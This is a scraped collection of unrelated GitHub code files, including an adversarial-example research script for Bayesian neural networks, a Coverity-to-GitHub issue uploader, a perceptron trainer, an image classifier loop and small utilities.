\n attack = CarliniL2Multiple(sess, [Wrap(m) for m in models], batch_size=10, binary_search_steps=4,\n initial_const=1, max_iterations=1000, confidence=1,\n targeted=True, abort_early=False, learning_rate=1e-1)\n\n\n z = np.zeros((N, 10))\n z[np.arange(N),np.random.random_integers(0,9,N)]\n\n #qq = (3, 2, 1, 18, 4, 8, 11, 0, 61, 7)\n #np.save(\"images/mnist_dropout\", attack.attack( = 1\n # z[np.arange(N),(9, 3, 0, 8, 7, 3, 4, 1, 6, 4)] = 1\n # print(z)data.test_data[qq,:,:,:],\n # np.pad(np.roll(data.test_labels[qq,:],1,axis=1), [(0, 0), (0, 0)], 'constant')))\n #exit(0)\n\n \n adv = attack.attack(data.test_data[:N], labs)\n # adv = attack.attack(data.test_data[:N], data.test_labels[:N])\n\n np.save(\"dropout_adv_\"+str(ISMNIST),adv)\n #adv = np.load(\"/tmp/qq.npy\")\n \n guess = modeld.predict(adv)\n\n print('normal predictions',guess)\n\n print('average distortion',np.mean(np.sum((data.test_data[:N]-adv)**2,axis=(1,2,3))**.5))\n\n print('normal label predictions',np.argmax(guess,axis=1))\n\n for m in models:\n print('model preds',np.argmax(m.predict(adv),axis=1))\n \n print('Model accuracy on adversarial examples',np.mean(np.argmax(guess,axis=1)==np.argmax(data.test_labels[:N],axis=1)))\n\n adv_u = compute_u(sess, modeld, adv)\n #print('differentable uncertienty',np.mean((sess.run(r, {p: adv}))))\n\n print('Targeted adversarial examples success rate',np.mean(np.argmax(guess,axis=1)==np.argmax(z,axis=1)))\n\n import matplotlib\n import matplotlib.pyplot as plt\n from matplotlib.backends.backend_pdf import PdfPages\n\n \"\"\"\n fig = plt.figure(figsize=(4,3))\n fig.subplots_adjust(bottom=0.15,left=.15)\n a=plt.hist(adv_u, 100, log=True, label=\"Adversarial (FGS)\")\n b=plt.hist(valid_u, 100, log=True, label=\"Valid\")\n plt.xlabel('Uncertainty')\n plt.ylabel('Occurrances (log scaled)')\n plt.legend()\n \"\"\"\n fig = plt.figure(figsize=(4,3))\n fig.subplots_adjust(bottom=0.15,left=.15)\n b=plt.hist(valid_u-adv_u, 25, label=\"Valid\")\n plt.xlabel('U(valid)-U(adversarial)')\n plt.ylabel('Occurrences')\n\n pp = PdfPages('results1.pdf')\n plt.savefig(pp, format='pdf')\n pp.close()\n plt.show()\n\n\n##BNN.create_model equiv to make_model.. model() = average_preds... self.model_list() = actual posteriors\n# test(MNISTModel, MNIST(), \"models/mnist\")\n# test(CIFARModel, CIFAR(), \"models/cifar\")\n\nif __name__ == \"__main__\":\n #TODO: if still want change so you pass in the path\n run_attacks()\n # run_mc_drop()\n\n # datasets = [\"CIFAR10\", \"MNIST\"]\n # inf_methods = [\"ADVI\", \"NUTS\", \"MCDROP\"]\n # colors = [\"gray\", \"white\"]\n # confs = [0,0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1,2,3,4,5,6,7,8,9,10]\n # for dataset in datasets:\n # for color in colors: \n # for inf in inf_methods:\n # linestyle = '-' if color == \"gray\" else '--'\n # if inf == \"ADVI\":\n # c = \"red\"\n # elif inf == \"NUTS\":\n # c = \"blue\"\n # else:\n # c = \"green\"\n # path = \"results/{}_{}_{}\".format(dataset, inf, color)\n # title_desc = \"{} {} {}box\".format(dataset, inf, color)\n # filename = \"plots/{}_{}_{}\".format(dataset, inf, color)\n # aucs = []\n # max_auc = 0\n # plot_TPRs = []\n # plot_FPRs = []\n # uncs_path = path + \"_uncs.npy\"\n # dists_uncs = np.load(uncs_path)\n # for uncs in dists_uncs:\n # auc_val, TPRs, FPRs = roc_auc(uncs[0], uncs[1])\n # if auc_val > max_auc:\n # max_auc = auc_val\n # plot_TPRs = TPRs\n # plot_FPRs = FPRs\n # aucs.append(auc_val)\n # # plt.plot(plot_FPRs + [1.0], plot_TPRs + [1.0], label = title_desc + \" = {:.2f}\".format(max_auc), color = c, linestyle = linestyle)\n # # plt.title(\"ROC Curves\")\n # # plt.xlabel(\"FPR\")\n # # plt.ylabel(\"TPR\")\n\n\n # # dists_path = path + \"_dists.npy\"\n # # dists = np.load(dists_path)\n # # zipped = sorted(zip(dists, aucs))\n\n # # plot_1_xy = ([a for a,b in zipped], [b for a,b in zipped])\n # # plt.plot(confs, aucs, label = title_desc, color = c, linestyle = linestyle)\n # # plt.title(\"AUC vs Confidence\".format(title_desc))\n # # plt.xlabel(\"Confidence\")\n # # plt.ylabel(\"AUC Value\")\n\n\n # adv_accs_path = path + \"_adv_accs.npy\"\n # adv_accs = np.load(adv_accs_path)\n # # zipped = sorted(zip(dists, adv_accs))\n # # plot_1_xy = ([a for a,b in zipped], [b for a,b in zipped])\n # # plt.plot(plot_1_xy[0], plot_1_xy[1], label = title_desc, color = c, linestyle = linestyle)\n # plt.plot(confs, adv_accs, label = title_desc, color = c, linestyle = linestyle)\n # plt.title(\"Adversarial Accuracy vs Confidence\")\n # plt.xlabel(\"Confidence\")\n # plt.ylabel(\"Adv Accuracy\")\n # plt.legend()\n # plt.show()","repo_name":"js0823/RobustBNN","sub_path":"src/new_attack.py","file_name":"new_attack.py","file_ext":"py","file_size_in_byte":35855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23432685801","text":"#! /usr/bin/env python\n\nFILE_NAME = 'D-large'\n\ndef run_once(in_file):\n num = int(in_file.readline())\n N = map(float, in_file.readline().rstrip().split(' '))\n K = map(float, in_file.readline().rstrip().split(' '))\n N.sort()\n K.sort()\n\n NN = list(N)\n KK = list(K)\n DW = 0\n while len(NN) > 0:\n Nmx = max(NN)\n Kmx = max(KK)\n if Nmx > Kmx:\n Kmn = min(KK)\n DW += 1\n for n in NN:\n if n < Nmx and n > Kmn:\n Nmx = n\n NN.remove(Nmx)\n KK.remove(Kmn)\n else:\n NN.remove(min(NN))\n KK.remove(Kmx)\n \n NN = list(N)\n KK = list(K)\n W = 0\n while len(NN) > 0:\n Nmx = max(NN)\n Kmx = max(KK)\n if Nmx > Kmx:\n W += 1\n NN.remove(Nmx)\n KK.remove(min(KK))\n else:\n NN.remove(Nmx)\n KK.remove(Kmx)\n\n return str(DW) + ' ' + str(W)\n\n \nin_file = open(FILE_NAME + '.in', 'r')\nout_file = open(FILE_NAME + '.out', 'w')\n\nnum = int(in_file.readline())\nfor i in range(num):\n out_file.write('Case #' + str(i + 1) + ': ' + run_once(in_file) + '\\n')\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_138/1328.py","file_name":"1328.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70195060994","text":"import re\nimport sys\nfrom xml.etree.ElementTree import parse as ET\n\n# Indicate encoding as 'iso-8859-1' or 'utf-8'\nPrintFileName = re.sub(\"\\..+\", \"\", sys.argv[1]) + \".processed\"\n\nprint(\"Processing...\")\n\ncount_lines = 0\n\nentry_id = 0\n\nData = {}\n\ntree = ET(sys.argv[1])\n\nroot = tree.getroot()\n\nfor opening_tag in root.iter('JDBOR'):\n for list in opening_tag.iter('DisorderList'):\n for disorder in list.iter('Disorder'):\n entry_id += 1\n name = disorder.find('Name').text\n # Synonyms\n SynList = []\n for syn_list in disorder.findall('SynonymList'):\n Syns = syn_list.findall('Synonym')\n for syn in Syns:\n syn = syn.text\n SynList.append(syn.lower())\n # Codes in terminologies\n Codes=[]\n CUI = \"\"\n for ref_list in disorder.findall('ExternalReferenceList'):\n for ref in ref_list.findall('ExternalReference'):\n source = ref.find('Source').text\n source_code = ref.find('Reference').text\n if source == \"UMLS\":\n CUI = source_code\n else:\n Codes.append(source + \":\" +source_code)\n if CUI != \"\":\n Data[entry_id] = {'name': name.lower(), 'syns':SynList, 'codes':Codes, 'cui':CUI}\n\nPrintFile = open(PrintFileName,'w',encoding='utf-8')\n\nfor k in Data:\n name = Data[k]['name']\n cui = Data[k]['cui']\n codes = \";\".join(Data[k]['codes'])\n print(cui + \"|\" + name + \"|\" + str(codes) + \"|\", file=PrintFile)\n SynList = Data[k]['syns']\n for syn in SynList:\n print(cui + \"|\" + syn + \"|\" + str(codes) + \"|\", file=PrintFile)\n\nPrintFile.close()\n\nprint(\"Done!\")\n","repo_name":"lcampillos/bionlp2019","sub_path":"process_orphanet.py","file_name":"process_orphanet.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36407255206","text":"from datetime import datetime, date \n\ndef from_string(date_time):\n format = '%d-%m-%Y' # The format\n date_obj = datetime.strptime(date_time, format).date()\n return date_obj\n\ndef today_date():\n today = date.today()\n return today\n\ndef diff_dates(fecha_desde, fecha_hasta):\n if fecha_hasta < fecha_desde:\n raise ValueError(\"Fecha Hasta < Fecha Desde\")\n date_diff = fecha_hasta - fecha_desde\n totalDays = date_diff.days\n years = totalDays // 365\n months = (totalDays - years * 365) // 30\n days = (totalDays - years * 365 - months * 30)\n return (years, months, days)","repo_name":"pablofranzoni/CBU_Validator","sub_path":"date_commons.py","file_name":"date_commons.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"515940968","text":"import os\r\nimport time\r\nfrom keras.models import load_model\r\nfrom PIL import Image, ImageOps\r\nimport numpy as np\r\nimport datetime\r\n\r\nfpath = 'C:\\\\out'\r\n\r\nwhile True:\r\n # Get a list of all files in the folder\r\n files = os.listdir(fpath)\r\n file_count = len([f for f in os.listdir(fpath) if os.path.isfile(os.path.join(fpath, f))])\r\n\r\n if file_count >= 6:\r\n np.set_printoptions(suppress=True)\r\n model = load_model('./lastmodel.h5', compile=False)\r\n # determined by the first position in the shape tuple, in this case 1\r\n data = np.ndarray(shape=(1, 224, 224, 3), dtype=np.float32)\r\n\r\n image = Image.open('C:\\\\out/5.bmp').convert(\"RGB\")\r\n\r\n size = (224, 224)\r\n image = ImageOps.fit(image, size, Image.Resampling.LANCZOS)\r\n\r\n image_array = np.asarray(image)\r\n\r\n normalized_image_array = (image_array.astype(np.float32) / 127.5) - 1\r\n\r\n data[0] = normalized_image_array\r\n\r\n prediction = model.predict(data)\r\n index = np.argmax(prediction)\r\n confidence_score = prediction[0][index]\r\n\r\n if index == 0:\r\n brO = \"{ \"\r\n status = \"status: true\"\r\n ti = \" time:\"\r\n time = datetime.datetime.now().time()\r\n da = \" date:\"\r\n date = datetime.datetime.now().strftime(\"%m/%d/%Y\")\r\n brC = \" }\"\r\n final = brO + status + ti + str(time) + da + str(date) + brC\r\n print(final)\r\n else:\r\n brO = \"{ \"\r\n status = \"status: false\"\r\n ti = \" time:\"\r\n time = datetime.datetime.now().time()\r\n da = \" date:\"\r\n date = datetime.datetime.now().strftime(\"%m/%d/%Y\")\r\n brC = \" }\"\r\n final = brO + status + ti + str(time) + da + date + str(date) + brC\r\n print(final)\r\n\r\n # Loop through each file and delete it\r\n for file_name in files:\r\n # Construct the full file path by joining the folder path and file name\r\n file_path = os.path.join(fpath, file_name)\r\n # Check if the file is a file (not a directory)\r\n if os.path.isfile(file_path):\r\n # Delete the file\r\n os.remove(file_path)\r\n break\r\n else:\r\n time.sleep(3)","repo_name":"ajthdaniel24/Elephant-detection-and-alert-System","sub_path":"classif.py","file_name":"classif.py","file_ext":"py","file_size_in_byte":2286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4546338310","text":"# Assume s is a string of lower case characters.\n\n# Write a program that prints the number of times the string 'bob' occurs in s. \n# For example, if s = 'azcbobobegghakl', then your program should print\ns = raw_input(\"input a String:\")\n\n\nstr1 = \"bob\"\n\ndef searchs(s,str1):\n i = 0\n count = 0\n while(i Path:\n dir = base_dir\n while True:\n if (dir / '.git').exists():\n return dir\n\n if not search_parent_directories:\n break\n\n if dir == Path('/') or dir == Path():\n break\n\n dir = dir.parent\n\n raise FileNotFoundError(\"Could not find .git directory in: {base_dir}{msg}\".format(\n base_dir=base_dir, msg=' (or any parent)' if search_parent_directories else ''))\n\n\ndef codeowners_path(base_dir: Path) -> Path:\n repo_root = git_repository_root(base_dir=base_dir)\n candidate_paths = [repo_root / location for location in _CODEOWNERS_REL_LOCATIONS]\n path = next((p for p in candidate_paths if p.exists()), None)\n if path is None:\n raise FileNotFoundError(\"Could not find CODEOWNERS file in any of the following locations: \".format(\n '; '.join(map(str, candidate_paths))))\n return path\n\n\ndef list_files(paths: typing.Iterable[Path], untracked: bool = False, recursive: bool = True):\n \"\"\" Return an iterable of Paths representing non-ignored files recognized by git. \"\"\"\n if not recursive:\n raise NotImplementedError('Only recursive traversal supported right now; got recursive: {!r}'.format(recursive))\n\n tracked_options = ['--cached', '--others'] if untracked else ['--cached']\n\n # In the future, we should process the output in a streaming fashion.\n ls_result = subprocess.run(['git', 'ls-files', *tracked_options, *map(str, paths)],\n check=True, stdout=subprocess.PIPE, universal_newlines=True)\n return [Path(p) for p in ls_result.stdout.splitlines()]\n\n\nclass Issues:\n\n def __init__(self):\n self.repo = args.repo\n self.org = args.org\n self.issues_url = \"https://github.com/%s/%s/issues\" %(self.org, self.repo)\n self.github_url = 'https://api.github.com/repos/%s/%s' % (self.org, self.repo)\n\n self.api_token = TOKEN\n self.headers = {}\n self.headers['Authorization'] = 'token %s' % self.api_token\n self.headers['Accept'] = 'application/vnd.github.golden-comet-preview+json'\n self.issues = []\n\n def list_issues(self, url):\n response = requests.get(\"%s\" %(url), headers=self.headers)\n\n if response.status_code != 200:\n raise RuntimeError(\n \"Failed to get issue due to unexpected HTTP status code: {}\".format(response.status_code)\n )\n self.issues = self.issues + response.json()\n try:\n print(\"Getting more issues...\")\n next_issues = response.links[\"next\"]\n if next_issues:\n next_url = next_issues['url']\n #print(next_url)\n self.list_issues(next_url)\n except KeyError:\n print(\"no more pages\")\n\n def get_all(self):\n self.list_issues(\"%s/issues?state=all&labels=Coverity,bug\" %self.github_url)\n\n\n def post(self, content):\n response = requests.post(\"%s/issues\" %(self.github_url), headers=self.headers, data=json.dumps(content))\n\n print(json.dumps(content))\n if response.status_code != 201:\n raise RuntimeError(\n \"Failed to post issue due to unexpected HTTP status code: {}: {}\".format(\n response.status_code, response.reason)\n )\n\n\ndef find_codeowner(filename):\n\n codeowners_path = args.codeowners_file\n with open(codeowners_path, 'r') as codeowners_file:\n rules = codeowners.parse_codeowners(codeowners_file, source_filename=codeowners_path)\n\n paths = list_files((filename,), untracked=True, recursive=True)\n repo_root = args.git_root\n\n for p in paths:\n match_result = codeowners.match(rules, p.resolve().relative_to(repo_root), is_dir=True)\n return match_result\n\n\n\ndef parse_email(email_content):\n entries = {}\n with open(email_content, \"r\") as fp:\n content = fp.readlines()\n\n cid = {}\n lines = []\n for line in content:\n entry = re.search(r'^\\*\\* CID ([0-9]+):\\s+(.*)$', line, re.MULTILINE)\n if entry:\n if lines:\n cid['lines'] = lines\n lines = []\n if cid:\n entries[cid.get('cid')] = cid\n\n cid = {\n 'cid': entry.group(1),\n 'violation': entry.group(2)\n }\n\n if cid.get('cid'):\n code = re.match(r'(\\/.*?\\.[\\w:]+): (\\d+) in (\\w*)\\(\\)', line)\n if code:\n cid['file'] = code.group(1)\n cid['line'] = code.group(2)\n cid['function'] = code.group(3)\n\n source = re.match(r'([\\d+|>+].*)', line)\n if source:\n lines.append(source.group(1))\n\n if cid:\n cid['lines'] = lines\n entries[cid.get('cid')] = cid\n\n return entries\n\ndef main():\n global args\n parser = argparse.ArgumentParser(description=\"Upload coverity issues to Github\")\n\n\n parser.add_argument(\"-y\", \"--dryrun\",\n action=\"store_true\",\n help=\"Dry run, do not post anything.\")\n parser.add_argument(\"-O\", \"--outstanding\",\n required=True,\n help=\"CSV file exported from coverity for outstanding issues\")\n parser.add_argument(\"-o\", \"--org\",\n default=\"zephyrproject-rtos\",\n help=\"Github organisation\")\n parser.add_argument(\"-r\", \"--repo\",\n default=\"zephyr\",\n help=\"Github repo\",\n )\n parser.add_argument(\"-w\", \"--codeowners-file\",\n required=False, help=\"Path to CODEOWNERS file\")\n parser.add_argument(\"-R\", \"--git-root\",\n required=False, help=\"Git repo root\")\n parser.add_argument(\"-e\", \"--email-content\",\n required=False,\n help=\"Contents of email from coverity with all new violations\")\n parser.add_argument(\"-C\", \"--commit-hash\",\n required=False,\n default=\"master\",\n help=\"Hash of the commit that was scanned\")\n\n args = parser.parse_args()\n\n if not TOKEN:\n sys.exit(\"token missing\")\n\n\n if args.outstanding and not os.path.exists(args.outstanding):\n sys.exit(\"File {} does not exist.\".format(args.outstanding))\n\n coverity_issues = Issues()\n coverity_issues.get_all()\n\n if DEBUG:\n for issue in coverity_issues.issues:\n print(\"{} - {}\".format(issue['number'], issue['title']))\n\n print(\"found {} existing issues.\".format(len(coverity_issues.issues)))\n\n cids = set()\n cr = None\n\n for issue in coverity_issues.issues:\n cid = re.compile(\"CID[ ]?:[ ]?(?P[0-9]+)\")\n match = cid.search(issue['title'])\n if not match:\n continue\n cid = int(match.groupdict()['cid'])\n cids.add(cid)\n\n email_contents = {}\n\n if args.email_content:\n email_contents = parse_email(args.email_content)\n\n count = 0\n with open(args.outstanding) as csv_file:\n cr = csv.DictReader(csv_file)\n for row in cr:\n #print(row)\n cid = int(row['CID'])\n if row['File'].startswith(\"/home\"):\n continue\n filename = row['File'][1:]\n title = \"[Coverity CID: {}] {} in {}\".format(row['CID'], row['Type'], filename)\n if cid in cids:\n print(\"Skipping CID {}, already reported.\".format(cid))\n continue\n elif 'twister-out' in filename:\n print(\"Skipping CID {}, generated code.\".format(cid))\n continue\n else:\n line = row['Line Number']\n if line == 'Various':\n link = f\"https://github.com/zephyrproject-rtos/zephyr/blob/{args.commit_hash}/{filename}\"\n else:\n link = f\"https://github.com/zephyrproject-rtos/zephyr/blob/{args.commit_hash}/{filename}#L{line}\"\n if email_contents and email_contents.get(row['CID']):\n details = email_contents[row['CID']]\n line = details.get('line')\n code = \"\\n\".join(details['lines'])\n body = BODY_TEMPLATE_DETAILED.format(\n filename=filename,\n link=link,\n line=line or 1,\n category=row['Category'],\n function=row['Function'],\n component=row['Component'],\n cid=row['CID'],\n commit=args.commit_hash,\n code=code\n )\n else:\n body = BODY_TEMPLATE.format(\n filename=filename,\n category=row['Category'],\n link=link,\n function=row['Function'],\n component=row['Component'],\n cid=row['CID'],\n commit=args.commit_hash\n )\n\n print(\"Creating new issue with title: {}\".format(title))\n\n count += 1\n assignees = []\n if args.codeowners_file:\n results = find_codeowner(filename)\n if results:\n owners = results.owners\n for o in owners:\n if not o in ['@otavio', '@franciscomunoz']:\n assignees.append(o[1:])\n\n prio = \"priority: medium\"\n if filename.startswith(\"tests\") or filename.startswith(\"samples\"):\n prio = \"priority: low\"\n\n if row['Impact'] in ['Low','Medium']:\n prio = \"priority: low\"\n\n new_issue = {\n \"title\": title,\n \"body\": body,\n \"labels\":\n [\n \"bug\", \"Coverity\", prio\n ],\n \"assignees\": assignees\n }\n\n if not args.dryrun:\n coverity_issues.post(new_issue)\n else:\n print(title)\n print(body)\n print(\"Not posting anything\")\n\n\n print(\"Created {} issues.\".format(count))\n\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"nashif/coverity-scans","sub_path":"publish_issues.py","file_name":"publish_issues.py","file_ext":"py","file_size_in_byte":12277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14891841525","text":"import numpy as np\nfrom .Dataset import Dataset\n\nclass KFoldIterator():\n def __init__(self, x, y, k):\n self.k = k\n self.x = x\n self.y = y\n self.size = x.shape[0]\n if (self.k > self.size):\n print(f\"The number of folds must be smaller than {self.size - 1}. Stopping Excecution.\")\n raise ValueError\n self.current_k = -1\n self.gen_random_idx()\n\n\n def gen_random_idx(self):\n self.idx = np.arange(self.size)\n np.random.shuffle(self.idx)\n\n\n def gen_ith_fold(self, i):\n '''\n i can take values from 0 to k - 1 (included)\n '''\n test_mask = np.zeros(self.size, dtype=bool)\n test_idx = np.arange(int(i * self.size / self.k), int((i + 1) * self.size / self.k), 1)\n test_idx = self.idx[test_idx]\n test_mask[test_idx] = True\n train_mask = ~test_mask\n self.x_train = self.x[train_mask, :]\n self.y_train = self.y[train_mask, :]\n self.x_test = self.x[test_mask, :]\n self.y_test = self.y[test_mask, :]\n\n\n def batchiterator(self, batchsize):\n return BatchIterator(self.x_train, self.y_train, batchsize)\n\n\n def __iter__(self):\n self.current_k = -1\n return (self)\n\n\n def __next__(self):\n '''\n # returns a (x_train, y_train, x_test, y_test) tuple\n '''\n self.current_k += 1\n if (self.current_k >= self.k):\n raise StopIteration\n else:\n self.gen_ith_fold(self.current_k)\n return Dataset(self.x_train, self.y_train, standardize = False), Dataset(self.x_test, self.y_test, standardize = False)\n\n\n \n","repo_name":"JBarmentlo/Multi-Layer-Perceptron-42","sub_path":"src/modules/K_fold_iterator.py","file_name":"K_fold_iterator.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41046652348","text":"class Employee:\r\n\r\n def __init__(self , first , last , pay):\r\n self.first = first \r\n self.last = last\r\n self.pay = pay\r\n \r\n # __init__ is constructor .\r\n # this is called when an instance is created .\r\n\r\n # __init__ is the constructor which is used to create instances and arguments.\r\n # the first , last and pay are called the arguments .\r\n # the variables defined in the __init__ fucntion are called arguments ..\r\n\r\n # self here is bascially an insatnce ..\r\n # writing emp_1.first = first .. is same are self.first = first\r\n # in the class ...\r\n \r\n \r\n def full_name(self):\r\n return \"{} {}\".format(self.first , self.last)\r\n \r\n # self is the instance . so when this functoin is called . \r\n # the self is replaced with the variable name.\r\n\r\n\r\n # full_name is a method in the class .\r\n # the functions defined insdie the class are called methods.\r\n # all methods should have self argument in it. \r\n\r\n\r\n\r\nemp_1 = Employee(\"Om\" , \"Kashyap\" , 100000) \r\n# emp_1 is the instances , the varables using the class are called instances\r\n\r\nprint(emp_1.full_name())\r\n# well this can also be achieved using the Employee class\r\nprint(Employee.full_name(emp_1))\r\n# whent the method is called on the class we need to pass the instance.\r\n","repo_name":"omkashyap007/Classes-1","sub_path":"Classes 1.py","file_name":"Classes 1.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"73755663554","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\nfrom Tkinter import Tk\n\nfrom tkFileDialog import askopenfilename\nfrom tkFileDialog import askopenfile\n\n'''\ndataset = np.array([\n([-1,0,0],1),\n([-1,0,1],1),\n([-1,1,0],-1),\n([-1,1,1],1) ])\n'''\n#file = open(\"/home/caeser/dataset_new/perceptron3.txt\",'r')\n\n\n\n\nTk().withdraw()\nfile = askopenfile(mode='r')\n\n\n\nrow2 = []\nexpect = []\ndata = []\n\nanswer = []\n\nfor line in file:\n\trow = []\n\te = [-1.0]\n\tprint(line)\n\tif line == \"\\n\" :\n\t\tcontinue\n\tinput_data = line.split(\" \")\n\n\tprint(input_data)\n\n\tfor x in range(len(input_data) - 1): #len(input_data)-1\n\t\trow.append(float(input_data[x])) #input_data[x]\n\n\te.extend(row)\n\trow2.append(e)\n\texpect.append(float(input_data[-1]))\n\nprint(expect)\t\n\nfor i in range(len(row2)):\n\tarr = []\n\tarr.append(row2[i])\n\tarr.append(expect[i])\n\tdata.append(arr)\n\ndataset = np.array(data)\nprint(dataset)\n#print(expect)\ngroup_set = []\nfor i in range(len(expect)):\n\tif expect[i] not in group_set :\n\t\t#print(expect[i])\n\t\tgroup_set.append(expect[i])\t\t\nprint(group_set)\n\n\n\ndef mul(li,n):\n\tans = []\n\tfor x in range(len(li)):\n\t\ttemp = li[x]*n\n\t\tans.append(temp)\n\treturn ans\ndef minus(li1,li2):\n\tans = []\n\tfor x in range(len(li1)):\n\t\ttemp = li1[x] - li2[x]\n\t\tans.append(temp)\n\treturn ans\n\ndef add(li1,li2):\n\tans = []\n\tfor x in range(len(li1)):\n\t\ttemp = li1[x] +li2[x]\n\t\tans.append(temp)\n\treturn ans\n\n\ndef PLA(dataset,group_set):\n\tfor i in range(len(group_set)):\n\t\tgroup = group_set[i]\n\n\t\ttemp_x,temp_y = dataset[0]\n\t\t#print(len(temp_x))\n\t\tinitial_size = len(temp_x)\n\t\tinitial_arr_head = [-1.0]\n\t\tinitial_arr_end = [1.0]\n\n\t\tfor z in range(initial_size-2):\n\t\t\tinitial_arr_head.extend([0.0])\n\n\t\tinitial_arr_head.extend(initial_arr_end)\n\t\tprint(initial_arr_head)\n\n\t\ta = initial_arr_head\n\t\t#a = [-1.0,0,0,1]\n\t\tpara = 0.8\n\n\t\tweight = np.array(a)\n\t\tfound = False\n\n\t\twhile True:\n\t\t\tfound = False\n\t\t\tfor x,s in dataset:\n\t\t\t\t#group = \n\t\t\t\tprint(\"Node :\")\n\t\t\t\tprint(x)\n\n\t\t\t\tif group != s :\n\t\t\t\t\tprint(\"Right Now Group : \")\n\t\t\t\t\tprint(group)\n\n\t\t\t\t\tprint(\"Node Group : \")\n\t\t\t\t\tprint(s)\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tif int(np.sign(weight.T.dot(x))) >=0:\n\t\t\t\t\t\tprint(\"Weight first : \")\n\t\t\t\t\t\tprint(weight)\n\n\t\t\t\t\t\tfound = True\n\t\t\t\t\t\ta = np.ndarray.tolist(weight)\n\t\t\t\t\t\ta = minus(a,mul(x,para))\n\t\t\t\t\t\tweight = np.array(a)\n\t\t\t\t\t\t\n\t\t\t\t\t\tprint(\"Weight later: \")\n\t\t\t\t\t\tprint(weight)\n\t\t\t\t\t\n\t\t\t\t\telse :\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t\n\t\t\t\telse :\n\t\t\t\t\tif int(np.sign(weight.T.dot(x))) >=0:\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t\n\t\t\t\t\telse :\n\t\t\t\t\t\tprint(\"Weight first : \")\n\t\t\t\t\t\tprint(weight)\n\n\t\t\t\t\t\tfound = True\n\t\t\t\t\t\ta = np.ndarray.tolist(weight)\n\t\t\t\t\t\ta = add(a,mul(x,para))\n\t\t\t\t\t\tweight = np.array(a)\n\t\t\t\t\t\t\n\t\t\t\t\t\tprint(\"Weight later: \")\n\t\t\t\t\t\tprint(weight)\t\n\n\t\t\tif found == False:\n\t\t\t\tbreak\n\t\tprint(\"ANSWER :\")\n\t\tprint(weight)\n\t\tanswer.append(weight)\n\nPLA(dataset,group_set)\nprint(answer)\n\n\n\n\n# ---------------------------------\n\nfig = plt.figure()\n#ax1 = fig.add_subplot(111) #subplot(111)\nax1 = fig.add_subplot(111, projection='3d')\n\nsym = ['o',\"x\",\"*\",\"+\",\"1\"]\ncolor = [\"orange\",\"purple\",\"gold\",\"gray\",\"red\",\"green\",\"yellow\",\"white\",\"blue\",\"black\",\"\"]\n\n\ntemp_x,temp_s = dataset[0]\nif len(temp_x) == 3:\n\t#fig = plt.figure()\n\t#ax1 = fig.add_subplot(111) #subplot(111)\n\t#ax1 = fig.add_subplot(111, projection='3d')\n\n\tprint(\"len 3\")\n\tfor i in range(len(group_set)): #len(group_set)\n\t\ttemp_set = []\n\t\tfor x,s in dataset:\n\t\t\tif s == group_set[i]:\n\t\t\t\ttemp_set.append(x)\n\t\t#print(temp_set)\n\t\tx = [v[1] for v in temp_set]\n\t\ty = [v[2] for v in temp_set]\n\t\t#z = [v[3] for v in temp_set]\n\t\tprint(x)\n\t\tprint(y)\n\t\t#print(z)\n\t\tax1.scatter( x, y,s = 100,c=color[i%10], marker= sym[i%5], label='O')\n\t\t\n\tfor i in range(len(answer)):\n\t\ttemp = np.ndarray.tolist(answer[i])\n\t\tl = np.linspace(-1,1)\n\t\ta,b = -temp[1]/temp[2], temp[0]/temp[2]\n\t\tax1.plot(l, a*l + b, 'b-')\n\n\tplt.show()\n\nelif len(temp_x) == 4 :\n\tprint(\"len 4\")\n\tplt3d = plt.figure().gca(projection='3d')\n\tfor i in range(len(group_set)): #len(group_set)\n\t\ttemp_set = []\n\t\tfor x,s in dataset:\n\t\t\tif s == group_set[i]:\n\t\t\t\ttemp_set.append(x)\n\t\t#print(temp_set)\n\t\tx = [v[1] for v in temp_set]\n\t\ty = [v[2] for v in temp_set]\n\t\tz = [v[3] for v in temp_set]\n\t\tprint(x)\n\t\tprint(y)\n\t\tprint(z)\n\t\tplt3d.scatter( x, y,z,s = 100,c=color[i%10], marker= sym[i%5], label='O')\n\t\t\n\t\n\tfor i in range(len(answer)):\n\t\ttemp = np.ndarray.tolist(answer[i])\n\t\txx,yy = np.meshgrid(range(5),range(5))\n\t\ta,b,c = -(temp[1]*xx)/temp[3] ,- (temp[2]*yy)/temp[3] , (temp[0])/temp[3]\n\t\tz = a+b+c\n\t\tplt3d.plot_surface(xx,yy,z)\n\t\n\t\n\tplt.show()\nelse :\n\tprint (\"Can't draw !!\")\n\n#plt.show()\n","repo_name":"CaeserNieh/Neural-network","sub_path":"pla.py","file_name":"pla.py","file_ext":"py","file_size_in_byte":4546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21992664177","text":"#QUESTION 03\n\"\"\" A vehicle is to travel on demand. Its initial location is given as x0, y0.\n(Assume the first statement in your program as assigning initial values, say x0,y0 = 5.0, 5.0).\nRepeatedly take as input the distance the vehicle has to travel. If the input given is 0 or lesser,\nthe travel ends - assume that at least one positive distance will be given.\nThe direction in which the vehicle is to travel is determined as follows:\n1) If distance is <= 25 it travels north. \n2) If between 26-50 it travels south, between 51 and 